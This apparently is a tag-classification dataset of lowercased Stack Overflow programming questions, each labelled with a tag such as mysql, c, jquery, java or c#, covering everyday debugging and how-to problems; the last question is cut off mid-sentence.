mysql loop for total score each week  the following statement outputs the <code>username</code> and <code>week1score</code>. i would like it to loop through 17 times  to get the score for each of the 17 weeks.   <pre><code>select username  (totalwins+(totalpushs*.5)) as week1score from (     select *  sum(win) as totalwins  sum(lost) as totallost  sum(push) as totalpushs from (         select *  (finalresult =  win ) as win  (finalresult =  loss ) as lost  (finalresult =  push ) as push from (             select username  if (pickid=visitorid  visitorresult  homeresult) as finalresult             from table_users             join table_picks             on table_users.userid = table_picks.userid             join table_schedule             on table_picks.gameid = table_schedule.gameid             where weeknum = 1         ) x     ) x group by username ) x order by username </code></pre>   the above statement outputs the following.   <pre><code>+-----------------------+ | username | week1score | +-----------------------+ </code></pre>   i would like it to loop through 17 times to to output the following.   <pre><code>+------------------------------------------------------------------------+ | username | week1score | week2score | week3score | week4score | week... | +------------------------------------------------------------------------+ </code></pre>   how would i use mysql loop to do this,mysql
why there is a different types of output for different float comparisons  i have the following code<br /> <strong>case 1</strong>     <pre><code>float a=1.7;     if(a==1.7)     {         printf( equal\n );     }     else if(a&lt;1.7)     {         printf( less\n );     }     else{         printf( greater\n );     } </code></pre>   <strong>output</strong>   <pre><code>greater </code></pre>   <strong>case 2</strong>   <pre><code>float a=1.3; if(a==1.3) {     printf( equal\n ); } else if(a&lt;1.3) {     printf( less\n ); } else{     printf( greater\n ); } </code></pre>   <strong>output</strong>   <pre><code>less </code></pre>   why the outputs are not as expected <br /> why the outputs are different in both cases <br /> can anyone explain how the values are stored and compared here<br /> thanks in advance,c
how to modify a var in a controller when something happens in a service   basically i want to be able to broadcast from a service when something happens. what s the best way to accomplish this,angularjs
i want to know is there any function or method to check first either file is created or not  i want to know is there any function or method to check first either file is created or not if it created read the information otherwise skip the file reading process.,c++
deprecated runtime error <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/3078993/why-is-ereg-deprecated-in-php >why is <code>ereg</code> deprecated in php </a>    </blockquote>     i was uploading files to server but i got the following error   <pre><code>deprecated: function ereg_replace() is deprecated in /home/vicedu/public_html/includes /functions/sessions.php on line 112 </code></pre>   what can i do  please help,php
drawing a 2x2 grid using bootstrap  i m trying to draw a 2x2 grid using bootstrap. my aim is to make a grid which looks similar to this:    <a href= https://i.stack.imgur.com/yuwkl.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/yuwkl.png  alt= grid ></a>    with an onclick event handler on each tile. i m having trouble setting the height of the tiles though and have something like this so far...   <pre><code>&lt;div class= col-md-4 &gt;   &lt;div class= row &gt;      &lt;div class = col-md-2 &gt;          one       &lt;/div&gt;      &lt;div class = col-md-2 &gt;         two      &lt;/div&gt;   &lt;/div&gt;   &lt;div class= row &gt;      &lt;div class = col-md-2 &gt;          three       &lt;/div&gt;      &lt;div class = col-md-2 &gt;         four      &lt;/div&gt;   &lt;/div&gt; </code></pre>,css
java runnable - exception in thread  main  java.lang.noclassdeffounderror  i want to run my java code with  java  command:   <pre><code>public class statistics {      public static void main(string[] args) throws ioexception {          .....         .....          final runnable r = new runnable() {             @override             public void run() {                 .....             }         };          scheduler.scheduleatfixedrate(r  0  15  timeunit.minutes);     } } </code></pre>   i am getting this error:   <pre><code>exception in thread  main  java.lang.noclassdeffounderror: jsoup/statistics$1     at jsoup.statistics.main(statistics.java:37) caused by: java.lang.classnotfoundexception: jsoup.statistics$1     at java.net.urlclassloader$1.run(urlclassloader.java:366)     at java.net.urlclassloader$1.run(urlclassloader.java:355)     at java.security.accesscontroller.doprivileged(native method)     at java.net.urlclassloader.findclass(urlclassloader.java:354)     at java.lang.classloader.loadclass(classloader.java:425)     at sun.misc.launcher$appclassloader.loadclass(launcher.java:308)     at java.lang.classloader.loadclass(classloader.java:358)     ... 1 more </code></pre>   37 line: final runnable r = new runnable() {,java
select of distinct (col1 col2) where col1 is string and col2 is int  how to obtain a distinct combination of col1 and col2 where former is integer and later is string in mysql,mysql
where can i find.net configuration tool   i want to use code access security and add code modify group. but i don t see the .net configuration tool in administrator tools.     where can i find this tool,.net
how to clear notification in didreceiveremotenotification method when app running in background   i need to clear the notification in notification center   when i click notification in notification center or badge when app in background. i can able to get log in didreceiveremotenotification . but not clearing the notification in notification center.,ios
understanding json and nsdata  we have to create a jason file to send to server . the way i found to do that is this :   <pre><code>nsdictionary* dic = @{@ username  :username                            @ firstname  :firstname                            @ lastname  : lastname                            @ email  : email                            @ password  : pass        };      nsdata* json = [nsjsonserialization datawithjsonobject:dic options:0 error:nil]; </code></pre>   i dont really understand why after creating the <code>dic</code>   which is already a json file  i have to use the <code>nsjsonserialization</code> when creating the <code>nsdata</code>    why not just set the <code>dic</code> to the <code>nsdata</code>   what exactly this serialization do   also  why don t create just an <code>nsstring</code> that will contain this structure,objective-c
sql calculating time from last transaction for each id  hello i m stuck trying to calculate the difference in time between each transaction for each id.    the data looks like   <pre><code>customer_id | transaction_time 1             00:30 1             00:35 1             00:37 1             00:38 2             00:20 2             00:21 2             00:23 </code></pre>   i m trying to get the result to look something like   <pre><code>customer_id | time_diff 1             5 1             2 1             1 2             1 2             2 </code></pre>   i would really appreciate any help.    thanks,sql
can you hide the overflow of a calayer   i m a front-end developer new to objective-c. i m working with a calayer and was wondering if there is a way hide the overflow of a calayer. similar to overflow: hidden in css.,objective-c
how to select first and last li in nested ul   i have tried this:   <pre><code>$( .menu li ul li:first ).addclass( first-submenu-item );  $( .menu li ul li:last ).addclass( last-submenu-item ); </code></pre>   but somehow it is not working at all.    any idea how could it solve this     thanks,jquery
how does virtual destructor work in c++  i will  type an example :   <pre><code>class a { public: virtual ~a(){} };  class b: public a { public: ~b() { }  };    int main(void) { a * a =  new b; delete a; return 0; } </code></pre>   now in above example   destructors  will be called recursively bottom to up . my question is how compiler do this magic .,c++
how can i calculate the difference in years  months and days between two dates in javascript   how can i calculate the difference between two days telling me the remaining years remaining months and remaining days     example: from: oct 1 2013 to: nov 15 2013    output: 1 month and 15 days    i ve tried momentjs but it display the whole months and days  like 1 month  45 days. i also tried this function but it displays the same thing:   <pre><code>var diff = math.floor(end_date.gettime() - start_date.gettime()); var day = 1000* 60 * 60 * 24; var days = math.floor(diff/day); var months = math.floor(days/31); var years = math.floor(months/12);  var message = days +   days    message += months +   motnhs   </code></pre>,javascript
is it possible/advisable to write reusable ruby-on-rails applications   i have an idea for a large web application  which in my mind would really be a number of reasonably independent application  components  ( )  e.g. forum  blog etc.    it seems to me that it would be nice to open source some of the individual components for others  or myself in the future to use.    now clearly  i could write a basic forum  make the code available  then copy it across into my large app and extend/integrate it.  however  this doesn t feel very dry.  in an ideal world i could maintain the code in one place and drop it into my larger application.    rails seems to include <a href= http://rails-engines.org/news/2009/02/02/engines-in-rails-2-3/  rel= nofollow noreferrer >engines</a>  which sound like solve my problem but it would appear that what i want to do is a <a href= http://rails-engines.org/faq/oh-god-what-have-we-done/  rel= nofollow noreferrer >bad idea</a>!    so should i..    a) just build one large  coupled app. <br /> b) create a rails forum app (for example)  release it  then merge/copy it into my main app <br /> c) use engines <br /> d) other...    cheers     adam,ruby-on-rails
table not viewable in mysql db  query runs fine  i have a sql query done by someone. i cannot seem to see the table where query is reading from  but offline  the table is in the same db. the dbconfig is the same offline and online.    is there any way i can find where the table is  or unhide if hidden.    thanks jean,mysql
how to display entered students info completely at last in given java program  without using array.. if number of students = 2 and i m giving two students information using getdata() and finally i want to display student 1 and student 2 informations. but here only it displays last entered student information i.e student 2 information... can you solve this...!   <pre><code>import java.util.scanner;  public class studinfo { int regno; string name course; int eng tam mat tot; double avg; //* void getdata() { scanner ip=new scanner(system.in); system.out.print( \n\n enter roll no.\t:\t ); regno=ip.nextint(); system.out.print( \n enter name   \t:\t ); name=ip.next(); system.out.println(); system.out.print(  enter marks [english  tamil and maths marks out of 100] :  ); eng=ip.nextint(); tam=ip.nextint(); mat=ip.nextint(); } //* void display() { tot=eng+tam+mat; avg=tot/3; system.out.println( \n + \n roll no.\t:\t +regno+      \n name   \t:\t +name+      \n english\t:\t +eng+      \n tamil   \t:\t +tam+      \n maths   \t:\t +mat+      \n total   \t:\t +tot+      \n average\t:\t +avg);   system.out.print(  grade   \t:\t ); if((eng&gt;=50)&amp;&amp;(tam&gt;=50)&amp;&amp;(mat&gt;=50)) { if(avg&gt;=91) system.out.print( o ); else if(avg&gt;=81) system.out.print( a ); else if(avg&gt;=71) system.out.print( b ); else if (avg&gt;=61) system.out.print( c ); else if(avg&gt;=51) system.out.print( d ); else system.out.print( fail ); } else system.out.print( fail ); system.out.println(); } //* public static void main(string arg[]) { studinfo s=new studinfo(); int maxs nos; scanner ip1=new scanner(system.in); system.out.print( \nenter no. of students :  );  nos=ip1.nextint(); for(maxs=1;maxs&lt;=nos;maxs++)  { system.out.println( \nwelcome to student database ); system.out.print( \n enter student [  +maxs+  ] details ); s.getdata(); } s.display(); } } </code></pre>   i want to display entered number of students info.. but here displaying last entered student info.. can you solve this...,java
about the use of inject in ruby  please somebody if you can explain the 3 rd line of this code. this method is to subtract an array of numbers starting from 2nd no. subtracted from 1st and the 3rd no. subtracted from the resultant and so on...   <pre><code>def subtract(*numbers)    sum = numbers.shift    numbers.inject(sum) { |sum  number| sum - number }    end </code></pre>,ruby-on-rails
sql grouping by year  using the <a href= http://www.w3schools.com/sql/trysql.asp filename=trysql_select_groupby  rel= nofollow >w3schools db</a>  i have to create these queries. i am stuck on a couple questions and thought i d ask..    q2: show top 5 employees  excluding the top employee (show employees ranked 2-5) in terms of total sales done by those employees. in the query display employee s first name  last name and totalsales sorted in descending order. filter the data for only orders done in year 1996.     my code without the year filtering is:   <pre><code>select e.lastname  e.firstname  sum(od.quantity*p.price) as ordertotal from [employees] as e  join [orders] as o on o.employeeid=e.employeeid join [orderdetails] as od on od.orderid=o.orderid join [products] as p on od.productid=p.productid group by e.employeeid order by ordertotal desc limit 4 offset 1 </code></pre>   i am not sure how to only return it with orders in 1996  when i try to group by year 1996 doesn t seem to help..     thank you!,sql
how can i check object count and release that object according to it s retain count   some time i release the particular object but still it shows memory leaks so which kind of condition should i give so that my memory related issue has been solved that particular object is allocated in application delegate class and it s accessed from many view controller so how should i remove that memory leak,iphone
images not displaying  all i want is that the images are displayed nothing else please.    i have been working on a different script but have the same problem.    i images are deleted but not displayed.    my code is:   <pre><code>&lt; php // directory separator defined( ds )     || define( ds   directory_separator);  // root path defined( root_path )     || define( root_path   realpath(dirname(__file__)));  // upload folder directory defined( upload_dir )     || define( upload_dir    ../imagefolder );  // path to the upload folder defined( upload_path )     || define( upload_path   root_path.ds.upload_dir);   function getallfiles($folder = null) {     if(!empty($folder) &amp;&amp; is_dir($folder)) {         if($handle = opendir($folder)) {             $out = array();             while($file = readdir($handle)) {                 if(is_file($folder.ds.$file)) {                     $out[] = $file;                 }             }             closedir($handle);             return $out;         }         return false;     }     return false; }  $files = getallfiles(upload_path);  if (!empty($_post[ file ])) {     foreach($_post[ file ] as $file) {         unlink(upload_path.ds.$file) or die( failed to &lt;strong class= highlight &gt;delete&lt;/strong&gt; file );     }     header( location:   . $_server[ request_uri ]); }  &gt;  &lt; php if (!empty($files)) {  &gt;      &lt;form name= form1  method= post &gt;         &lt; php foreach($files as $key =&gt; $file) {  &gt;             &lt;label for= file_&lt; php echo $key;  &gt; &gt;                 &lt;input type= checkbox  name= file[]  id= file_&lt; php echo $key;  &gt;  value= &lt; php echo $file;  &gt;  /&gt;                  &lt; php echo upload_dir.ds.$file;  &gt;             &lt;/label&gt;         &lt; php }  &gt;         &lt;input type= submit  name= delete  value= delete  /&gt;     &lt;/form&gt;  &lt; php }  &gt; </code></pre>,php
jodometer jquery  i´ve downloaded a jodometer jquery and uploaded it to my website. i wonder how i can get the numbers to continue changing even if i reload the page. right now the numbers resets to it´s start value every time i reload the page.    thanks    edit: i´ll do this and maybe you can help me to paste the correct code:    <code>code</code>         $(function(){   <pre><code>            $( .counter1 ).jodometer({increment: 12.58 speed: 500  numbersimage:  http://facebookmarket.se/wp-content/plugins/jodometer/images/jodometer-numbers.png   spacenumbers: 5  offsetright:10 heightnumber: 85 widthnumber: 38 counterstart:  0000000.00  counterend: false widthdot: 25 easing:  linear  });     }); &lt;/script&gt; </code></pre>,jquery
assemble a url with jquery  i have a base url    <pre><code>var url =  /example/url/here  </code></pre>   and an object   <pre><code>var data = { id : 1   do :  some action } </code></pre>   and i want to assemble a url with these to items in a similar fashion to how the $.get works  only i just want the url. any ideas or do i have to loop through the object and assemble the url myself,jquery
assembly binding logging is turned off  im trying to run a web appilication in .net framework... and got error.. help me to resolve.. thanks in advance...   <h2>server error in  /pss.net  application.</h2>   configuration error  description: an error occurred during the processing of a configuration file required to service this request. please review the specific error details below and modify your configuration file appropriately.     parser error message: could not load file or assembly  crystaldecisions.crystalreports.engine  version=11.5.3300.0  culture=neutral  publickeytoken=692fbea5521e1304  or one of its dependencies. the system cannot find the file specified.    source error:     line 21:         line 22:             line 23:                 line 24:                 line 25:                    source file: d:\issm\dynamic\code\pssfinalsql\pss.net\web.config    line: 23     assembly load trace: the following information can be helpful to determine why the assembly  crystaldecisions.crystalreports.engine  version=11.5.3300.0  culture=neutral  publickeytoken=692fbea5521e1304  could not be loaded.    wrn: assembly binding logging is turned off. to enable assembly bind failure logging  set the registry value [hklm\software\microsoft\fusion!enablelog] (dword) to 1. note: there is some performance penalty associated with assembly bind failure logging. to turn this feature off  remove the registry value [hklm\software\microsoft\fusion!enablelog].   <hr>   version information: microsoft .net framework version:2.0.50727.1433; asp.net version:2.0.50727.1433,.net
can an x64 computer have both the x86 and x64 .net runtime installed   can an x64 computer have both the x86 and x64 .net runtime installed     if so  how can i ensure that a program runs on the x64 runtime and not the x86 runtime,.net
i guess there is some mistake in the function  i would appreciate if anyone can help me figuring out why is this fuction (fn) does not print the int array elements    <pre><code>#include &lt;stdio.h&gt; void fn (int arr[]  int s); int main(void) {     int arr[] = {5  2  0  9  7}  s=5;     fn (arr  s); }  fn(int arr[]  int s) {     int i;     for (i = 0; i &lt; 5; i++);     {         arr[i]++;         printf( %d    arr[i] );     } } </code></pre>,c
selenium ide - extension using .js file - error  this is my first post as i am a newbie to selenium. currently i am going through book called selenium tool : beginners guide. in the book it tells how to use selenium ide extension using .js file to store your js functions etc.     following example was given and and saved as user-extension.js file. i have defined file in selenium > option > selenium ide extension field.     but when i re-start selenium i am getting following error:    <pre><code> error loading selenium ide extensions: referenceerror: selenium is not defined   </code></pre>   example i am using is:    <pre><code>selenium.prototype.dotypetodaysdate = function(locator){     var dates = new date();     var day = dates.getdate();     if (day &lt; 10){         day =  0  + day;     }     month = dates.getmonth() + 1;     if (month &lt; 10){         month =  0  + month;     }     var year = dates.getfullyear();     var prettyday = day +  /  + month +  /  + year;     this.dotype(locator  prettyday); } </code></pre>   any help will much appreciated.     thanks in advance.     rohit,javascript
angularjs unable to load view  <strong>index.html</strong>   <pre><code>&lt;html ng-app= studentapp &gt; &lt;head&gt;   &lt;meta charset= utf-8 &gt;   &lt;title&gt;angular.js example&lt;/title&gt;   &lt;script type= text/javascript  src= https://code.angularjs.org/1.4.0/angular.min.js &gt;&lt;/script&gt;    &lt;script src= https://code.angularjs.org/1.4.0/angular-route.min.js &gt;&lt;/script&gt;   &lt;script src= .././app/component/studentapp.module.js &gt;&lt;/script&gt;   &lt;script src= .././app/component/studentapp.route.js &gt;&lt;/script&gt;   &lt;script src= .././app/component/list/list.ctrl.js &gt;&lt;/script&gt;   &lt;script src= .././app/component/list/list.html &gt;&lt;/script&gt;   &lt;script src= .././app/component/list/list.factory.js &gt;&lt;/script&gt;    &lt;link rel= stylesheet  type= text/css  href= ../app/assets/style.css &gt; &lt;/head&gt;  &lt;body&gt; &lt;div class= header &gt;   &lt;h1&gt;welcome to my angularjs web app&lt;/h1&gt;   &lt;h2&gt;angular js ui&lt;/h2&gt; &lt;/div&gt;   &lt;div ui-view&gt; &lt;/div&gt;  &lt;div class= footer style= bottom: 0px &gt;   &lt;h2&gt;this is my footer&lt;/h2&gt;   &lt;h3&gt;copyright&lt;/h3&gt; &lt;/div&gt; &lt;/body&gt;  &lt;/html&gt; </code></pre>   <strong>studentapp.route.js</strong>   <pre><code>angular.module( studentapp ).config(function($stateprovider  $urlrouterprovider) {    $urlrouterprovider.otherwise( list );    $stateprovider      .state( list   {         url:  /list           templateurl:  .././component/list/list.html           controller:  studentctrl        }) }); </code></pre>   <strong>studentapp.module.js</strong>   <pre><code>//(function (){      use strict ;     angular.module( studentapp   [          ui.router          ]) //}()); </code></pre>   <strong>list.ctrl.js</strong>   <pre><code>angular.module( studentapp ).controller( studentctrl   function($scope $state  $http) {      alert( here );  }); </code></pre>   <a href= http://i.stack.imgur.com/2m2aj.png  rel= nofollow >directory structure</a>    i m trying to load <strong>list.html</strong> in <strong>index.html</strong> but unsuccessful every time.    i m getting errors:     <strong>uncaught syntaxerror: unexpected token &lt;</strong>    <strong>uncaught error: [$injector:modulerr]</strong>,angularjs
implemention of multiple pipes in c  i am doing a bash-like command intereptor and i started the implemention of multiple pipes and reddirections.    at the moment i have this code :    <pre><code>int execute_pipe(t_comm *com  t_struct *tool  char **env) {   int   pipefd[2 * tool-&gt;nbr_pipe];   int   i;   int   j;   pid_t pid;    i = -1;   //pipefd = xmalloc(sizeof(int) * tool-&gt;nbr_pipe * 2);   while (++i != tool-&gt;nbr_pipe)     pipe(pipefd + i * 2);   j = 0;   while (com != null)     {       pid = fork();       if (pid == 0)     {       if (com-&gt;next != null)         dup2(pipefd[j + 1]  1);       if (j != 0)         dup2(pipefd[j - 2]  0);       i = -1;       while (++i &lt; 2 * tool-&gt;nbr_pipe)         close(pipefd[i]);       printf( %s\n   com-&gt;argv[0]);       execve(com-&gt;argv[0]  com-&gt;argv  env);     }       com = com-&gt;next;       j = j + 2;     }   i = -1;   while (++i &lt; 2 * tool-&gt;nbr_pipe)     close(pipefd[i]);   i = -1;   while (++i != tool-&gt;nbr_pipe + 1)     wait(null); } </code></pre>   but this don t seems to work. when i launch something like  ls | cat -e  it s just displaying an normal ls and then i have to do a control c to come back to my prompt. have you got an idea where this could come from       and sorry for the indenting  stack overflow seems to not like emacs tabulations...,c
creating action api with rails. do i need to use respond_with  i am trying to figure out the different ways i can create a create action in a rails api. here s what i have for my index action (which works) and my current implementation of my create action.    routes.rb file:   <pre><code>rails.application.routes.draw do   namespace :api do     namespace :v1 do       resources :vendors     end   end end </code></pre>   controller:   <pre><code>class api::v1::suyascontroller &lt; applicationcontroller   def index     render json: suya.all   end    def create     render json: suya.create(suyas_params)   end     private    def suyas_params     require(:suya).permit(:meat  :spicy)   end end </code></pre>   do i need to use respond_with/respond_to  that s abstracted out to the responders.gem. if i don t want to use the responders gem is this the best way to create an api,ruby-on-rails
trigger click on input=file on asynchronous ajax done()  i have a form with some data and upload. the upload could be initiated only if data were successfully received and processed. to do that  i make an ajax call where i    <ol> <li>send data  </li> <li>check its result  </li> <li>trigger a click() to open a file dialog box. </li> </ol>   the last thing with click() doesn t work as it seems that <strong>asynchronous call blocks opening an upload window</strong>. it works only if i set <code>async: false</code>.    i cannot find anything in documentation and this site and want to know what is the problem there and how to make it working keeping the call asynchronous     example:   <pre><code>$.ajax({     type:  post       url:  /save       data: jsontext      datatype:  json       //async: false            [1] }).done(function (msg) {         $( #upload ).click();    });  //$( #upload ).click();       [2] </code></pre>   demo: <a href= http://jsfiddle.net/c2v00uxn/ >http://jsfiddle.net/c2v00uxn/</a>    note:    <ul> <li>if i uncomment [1] or [2]  it does work (the file dialog appears as expected).</li> <li>replace click() with trigger( click ) doesn t work</li> <li>replace click() with live()/on() doesn t help </li> <li>file upload control is visible as per example (so it s not because of hidden control)</li> <li>timeout settings for ajax do not help.</li> </ul>   <strong>update</strong>     it s not about how to make a  click  in general  it s about how to click after an asynchronous ajax call (as of now  works only with non-asynchronous call).,jquery
accessing fields in a derived class  i m creating a list of nodes on the fly through a user interface. in my list i can add any number of objects (aaa  bbb  etc) to the list based on the class structure below by instantiating these objects through reflection.   <pre><code>public abstract class node : idisposable {      protected int x; } public class aaa : node {      public int ia; } public class bbb : node {      public int ib; } </code></pre>   after creating the list i want to access the the extended fields in the derived objects. i know that i have to downcast to access the extended fields but in order to do that presently i have to perform an explicit cast.     <pre><code>foreach (node nn in mylist)                   //assume the first node in the list is aaa {     int m = ((namespace.aaa) nn).ia;          //this works     int n = (aaa) nn).ia;                     //this works } </code></pre>   i was wondering if i can use a string to create the actual downcast. maybe it can t be done. maybe i m missing something. what i would like to do which doesn t work would be something like the following.   <pre><code>foreach (node nn in mylist)       //assume the first node in the list is aaa {     type t2 = nn.gettype();       //{name = aaa; fullname = namespace.aaa} (*debugger*)     string str = t2.fullname;     //namespace.aaa      int m = ((str) nn).ia;         //this doesn t work } </code></pre>   when i look at the value of nn in the debugger the fullname represents the class i want to use for the downcast.    i could get around this by using a switch statement based on the string representing the class and hard code in the cast statement but because i have over 100 different nodes and i will be adding more nodes in the future  i would have to modify the switch statement every time a node is added. this is something i would prefer not to do if all possible.    thanks in advance for any response.    thanks to douglas for pointing out that i could use fieldinfo to get the value of ia for example. i just wanted to expand a little more on this topic. if i wanted to take class aaa and extend it through composition would i also be able to access the fields in those classes through the fieldinfo.     <pre><code>public class aaa : node {      public int ia;     public x[] xarray;   //where x is some other random class with pubic fields     public y[] yarray;   //where y is some other abstract class  } </code></pre>,c#
jquery selector not working  im having some wierd problems with selecting an element with a class.<br> in my case i have this ajax query  that returns some links with the same class. when i click the link an event should happend  but it didn t.<br><br> then i tried with makeing it alert when the an element with the class had been clicked  nothing happends  then i try to make a direct link on the page with the same class  now it gives me the alert.. <br><br> what is happening   the ajax query checks if the user is online  and does this every 1 minute  the element has the class  friend  and i try to call it by this code:   <pre><code>$( .friend ).click(function(){     alert( clicked ); }); </code></pre>   nothing happends with the ones displayed by the ajax request. but it responds to the links put directly onto the site.,jquery
acknowledge multiple parallel.foreach loop  i have around 450k records in the database on which i have to make a fuzzy match. i have implemented the <code>parallel.foreach</code> loop to see if incoming request is matching with any of the 450k records. if during the search i found any match  i stop the <code>foreach</code> loop and give response back to caller with true (it says that match has been found).    i am calling database and store all the 450k records in static object (in memory). the logic for <code>parallel.foreach</code> is working good. the problem is that it takes almost 40-45 seconds to determine whether it is match or not.    i am planning to run multiple <code>parallel.foreach</code> for 100k data on each loop so that overall time is reduced. my challenge is how would i stop the execution of other <code>parallel.foreach</code> loops once i get match on one <code>parrallel.foreach</code>     below is my code for a single <code>parallel.foreach</code>:   <pre><code>public bool checkmatch(checkrequest request)     {         bool ispccmatch = false;         //this will load all the data in static object to avoid db call for each request         policyinformation.initialize(request.iscacherefresher);               try             {                 logger.debug(methodbase.getcurrentmethod().name +  : matching alogorithm is started );                 parallel.foreach(policyinformation.policies  (policy  loopstate) =&gt;                 {                      double state=0  statef=0;                     if (!request.statef)                     {                          state= getprecentagematch(request.state  policy.state);                         //this if condition is for checkibnf first field condition early so that it will not get all the percentage                         if (state== onefieldssnpercentage)                         {                             ispccmatch = true;                             loopstate.stop();                         }                     }                     else                     {                         statef= getprecentagematch(request.statef  policy.statef);                         //this if condition is for checkibnf first field condition early so that it will not get all the percentage                         if (statef== onefieldfeinpercentage)                         {                             ispccmatch = true;                             loopstate.stop();                         }                      }                     double sein = getprecentagematch(request.sein  policy.fein);                     //this if condtion is for checkibnf first field condtion earily so that it will not get all the perecentage                     if (sein == onefieldseinpercentage)                     {                         ispccmatch = true;                         loopstate.stop();                     }                     double wcirb = getprecentagematch(request.wcirb  policy.wcirb);                     //this if condition is for checkibnf first field condition early so that it will not get all the percentage                     if (wcirb == onefieldwcirbpercentage)                     {                         ispccmatch = true;                         loopstate.stop();                     }                     double dun = getprecentagematch(request.duns   policy.duns);                     //this if condition is for checkibnf first field condition early so that it will not get all the percentage                     if (dun == onefielddunspercentage)                     {                         ispccmatch = true;                         loopstate.stop();                     }                     double legalnames = getprecentagematch(request.legalname  policy.legalname);                     //this if condition is for checkibnf first field condition early so that it will not get all the percentage                     if (legalnames == onefieldlegalnamepercentage)                     {                         ispccmatch = true;                         loopstate.stop();                     }                      double tradenames = getprecentagematch(request.tradename  policy.tradename);                     //this if condition is for checkibnf first field condition early so that it will not get all the percentage                     if (tradenames == onefieldtradenamepercentage)                     {                         ispccmatch = true;                         loopstate.stop();                     }                     double mailingname = getprecentagematch(request.mailingname  policy.mailingname);                     //this if condition is for checkibnf first field condition early so that it will not get all the percentage                     if (mailingname == onefieldmailingnamepercentage)                     {                         ispccmatch = true;                         loopstate.stop();                     }                     double ownerinfo = getprecentagematch(request.ownername  policy.ownership);                      int partitalmatchcount = 0;                      int addressmatchcount = 0;                      // condtion 2                     // get the partial count. if it is not more than 2 then compare the address an                      if (getpartialmatchfieldcount(ssn  fein  sein  dun  legalnames  tradenames  mailingname  ownerinfo  out partitalmatchcount) &lt; 2)                     {                         // it will be hit if isaddressmatch is true or count of partitalmatchcount &amp; addressmatchcount is equal or more then 2                         if (isaddressmatch(request  policy  out addressmatchcount  partitalmatchcount) || (addressmatchcount + partitalmatchcount &gt;= 2))                         {                             logger.debug(methodbase.getcurrentmethod().name +  : policy matched 2nd condition   + policy.id);                             ispccmatch = true;                             loopstate.stop();                         }                     }                     else                     {                         ispccmatch = true;                         loopstate.stop();                     }                      // check for the 3 fields                     if (groupamatchcount(ssn  fein  sein) + groupbmatchcount(legalnames  tradenames  mailingname) + groupcmatchcount(request                          policy) + groupdmatchcount(ownerinfo) &gt;= 3)                     {                         logger.debug(methodbase.getcurrentmethod().name +  : policy matched 3rd condition   + policy.id);                         ispccmatch = true;                         loopstate.stop();                     }                     //else if ()                   });                 logger.debug(methodbase.getcurrentmethod().name +  : matching algorithm is ended );             }             catch (exception ex)             {                 logger.errorexception(methodbase.getcurrentmethod().name  ex);                 throw;             }      //   }          return ispccmatch;     } </code></pre>   i want to run the above loop for 100k records  so it will have 4 <code>parallel.foreach</code> loops. once i found a match on one loop  i want to stop the execution of other <code>parallel.foreach</code> loops.,asp.net
creating two button in the same layout side by side   i want to make two buttons in the same layout side by side but i want also they stick together in that layout..  you can see what i mean in the link below    <a href= https://www.photobox.co.uk/my/photo album_id=4854788471&amp;photo_id=9770651757  rel= nofollow noreferrer >https://www.photobox.co.uk/my/photo album_id=4854788471&amp;photo_id=9770651757</a>,android
sql manipulating  i have done some sql query and would like to know is it possible to do this easier than in a such way  i have a table like   <pre><code>client_guid | begin_date | installation_id | license_type --------------------------------------------------------- 1           | 2017-07-01 | 1111            | 1 </code></pre>   i want to get information about each month: how many active licenses we have ( total  field)  how many licenses are new and how many clients we lost (compared to previous month):   <pre><code>month | total | new_licenses | lost_licenses -------------------------------------------- 1     | 712   |  31          |  25 </code></pre>   i wrote such code  using 5 temporary tables (with). is there a way to make it much easier    <pre><code>with by_month as (select distinct   l.client_guid as client_guid    (extract(month from l.begin_date)) as license_month from license l where l.installation_id&lt;&gt;9999 and l.license_type=1 and client_guid not in (select guid from reports.test_clients) and (extract(year from l.begin_date))=2017 group by 1  2 order by client_guid)  with_first_month as (select   client_guid    license_month    first_value(license_month) over (partition by client_guid order by license_month) as first_month from by_month)  with_total as (select      license_month as month_num      count(client_guid) as  total  from with_first_month group by month_num order by month_num)  with_new_guids as (select      first_month      count(distinct client_guid) as  new_guids  from with_first_month group by first_month order by first_month)  with_total_and_new_guids as (select     t.month_num      t.total      n.new_guids from with_total t  with_new_guids n where t.month_num=n.first_month)  with_total_prev as (select     t.month_num      tn.total as  total_prev  from with_total t  with_total_and_new_guids tn where tn.month_num = t.month_num-1) select     tn.month_num as  month       tn.total as  active licenses       tn.new_guids as  new licenses       tp.total_prev+tn.new_guids-tn.total as  lost licenses  from with_total_and_new_guids tn full join with_total_prev tp on tn.month_num=tp.month_num </code></pre>   thank you for any answers!,sql
what s the default value of connecttimeout in connection string   if we dont set the connecttimeout value  e.g.  connect timeout=60   (neither in sqlcommand)  what s the dafault value it will be  i was told it s 15s    thanks,.net
mysql add onto an exisiting entry in the database  just wondering is it possible to add onto an exisiting entry in the database without having to do a query to look whats in there     ive done it with numbers before like   <pre><code>update table set views = views +1 </code></pre>   but is there a way to do it with a string     thanks,mysql
safe/graceful shutdown of java application running through windows task scheduler  i m trying to write a simple service manager in java for some servers my community runs. the general idea is that a server side application launches a server and hooks into its console s streams though the process class  relaying it to client applications that can be run on a user session through rdp or even remotely.     now  i ve got the networking and the relaying working fine; that stuff is relatively straightforward. the issue i m having is getting the servers to shutdown safely when the server (or just the task) reboots.    i got the impression that runtime s shutdown hooks would be the proper way to handle this  but they don t seem to be working.    full code of my console wrapper class: <a href= http://pastebin.com/vm3pq9ze  rel= nofollow >http://pastebin.com/vm3pq9ze</a>    this is the method that starts the service with class fields added for clarity:   <pre><code>private final processbuilder builder; private process process; private boolean stopped = false; private hashset&lt;consolelistener&gt; listeners; private printstream commandstream; private inputhandler handler; private thread shutdowntask;  public void start() throws ioexception {     if (this.hasstarted())         throw new illegalstateexception(                  this process has already been started once. );      this.process = this.builder.start();      for (consolelistener l : this.listeners) {         l.onstart(new consoleevent(this));     }      this.handler = new inputhandler(this.process.getinputstream());     new thread(this.handler).start();      this.commandstream = new printstream(this.process.getoutputstream());      runtime.getruntime().addshutdownhook(             this.shutdowntask = new thread(new shutdownlistener())); } </code></pre>   the class shutdownlistener is defined inline as:   <pre><code>private class shutdownlistener implements runnable {     @override     public void run() {         consoleapplication.this.nuke();     } } </code></pre>   the nuke method is defined as:   <pre><code>public void nuke() {     this.process.destroy(); } </code></pre>   now i eventually want the wrapper to be able to send proper commands for safe shutdown  but it seems that its not even capable of forcing the process closed. i ve tried moving my shutdown hooks around  and testing seems to reveal that nuke() is never being called.     any help would be greatly appreciated.    notes:    i m not attached to task scheduler. it just seems to be the easiest way to handle starting on server boot. if there is a solution that doesn t involve task scheduler  